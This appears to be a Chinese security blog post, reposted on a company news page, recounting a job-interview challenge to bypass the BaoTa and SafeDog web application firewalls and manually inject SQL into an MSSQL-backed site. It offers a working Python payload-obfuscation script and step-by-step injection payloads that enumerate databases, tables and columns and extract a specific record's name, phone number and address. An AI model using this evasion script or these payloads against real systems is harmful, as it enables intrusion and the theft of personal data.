网站导航

新闻资讯

当前位置:首页 > 新闻资讯

记一次面试bypass宝塔+安全狗的手注

发布时间:2021-01-28

简要描述:

前言最近在准备找工作,有一家公司给我发来了这样一条消息,于是有了这篇文章.本文涉及知识点实操练习:...

详细介绍

前言

最近在准备找工作,有一家公司给我发来了这样一条消息,于是有了这篇文章.

本文涉及知识点实操练习:

1.先把所有的空格都用注释替换

1611814833_601257b13f8533a563fc2.png

2.对and和where进行处理,在它们前后随机加空白符,用来混淆这两个关键字

1611814833_601257b1d9f052c115581.png

3.利用iis特性对下面这几个关键字某个字符用unicode编码替换

1611814834_601257b276acad48063c4.png

4.对下面这几个符合进行处理,

1.在某些函数会被拦截用+()来bypass

2.查询某某库的某某表如admin.user会被拦截,用+.来bypass

![image-20210124134907260](img/image-20210124134907260.png)

5.最后拓展下payload接收.最终代码如下

import random
def bypass(payload):
chars1 = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F',
'%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E',
'%1F', '%20']
chars2 = ["/**/", "/*!*/", "/*!safe6*/", "+"]
v = random.choice(chars1)
payload = payload.replace(" ", random.choice(chars2))
payload = payload.replace("=", v + "=" + v)
payload = payload.replace("AND", v + "AND" + v)
payload = payload.replace("and", v + "AND" + v)
payload = payload.replace("WHERE", v + "WHERE" + v)
payload = payload.replace("where", v + "where" + v)
payload = payload.replace("UNION", "u%u006eion")
payload = payload.replace("union", "u%u006eion")
payload = payload.replace("CHAR", "%u0063har")
payload = payload.replace("char", "%u0063har")
payload = payload.replace("SELECT", "se%u006cect")
payload = payload.replace("select", "se%u006cect")
payload = payload.replace("FROM", "%u0066rom")
payload = payload.replace("from", "%u0066rom")
payload = payload.replace("(", "+(")
payload = payload.replace(".", ".+")
payload = payload.replace("--", "/*!*/--")
print(payload)
if __name__ == '__main__':
while True:
payload = input("输入payload:")
if payload == 'q':
exit(0)
if payload:
bypass(payload)

已经打包上传github

地址:https://github.com/safe6Sec/bypassWAF

然后就可以愉快的手注了

mssql手注

从前期的来看,该注入点支持union注入和报错注入.我这边采用报错注入.

用union注入需要知道当前表有几列(和mysql一样用order by判断),还需要回显点

用报错注入主要是用top命令配合not in来进行注入

爆库(mssql默认有四个库,我们需要加个条件,dbid>4)

and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0

1611814835_601257b32db93883224ec.png

1611814835_601257b3c7224b3d393ce.png

这样只是爆出第一个库,爆别的还需用not in来配合排除已知的表

用union联合查询结果如下(列数量要和当前表一致,没有的列用null占位)

union SELECT null,null,null,Name,null,null,null,null  FROM Master..SysDatabases

1611814836_601257b4a3aab9b2e399f.png

从上面的数据可以看出,只有一个数据库

继续爆表

and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0

1611814837_601257b57dbe5633c4350.png

第一张表为a999,用not in排除这张表继续爆其他的

and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0

以此内推

最后得了下面这些表

'dtproperties','a999','wap_album','wap_albumre','admin','wap_bankLog','wap_bbs','wap_bbs_MarkSix','wap_bbs_MarkSix_bet','D99_CMD','temp','wap_background'

直觉告诉我数据很有可能是在a999(从名字上判断)

直接爆字段,和爆表一样的操作

and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') )

得到了这些字段

'id','siteid','airplaneid','airplanename','userid','username','num','tel','address','starttime','content','remark','addtime','state'

他们要的数据是:序号10的 那栏信息。包含 名字 电话 地址

开始跑数据

and 1=(select top 1 username from a999 where id=10)

1611814838_601257b64dffe33c80a59.png

然后继续把剩下的电话地址跑出来,上交收工.

1611814839_601257b7392320dad065f.png

fuzz真是挺废时间了,本文是在bypass成功后所写.过程耗费太多时间没截图,思路都告诉大家了.结合起来用即可.

或者会有大佬想说为什么不,写个tamper来跑,

最后感谢404和bypass大佬的文章,小弟受益良多.

总结

  1. 不要光说不做,实操才是真理

  2. 对waf的bypass也就那样,把规则搞清楚了就很简单,免杀也如此

  3. union注入比报错注入香多了

 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭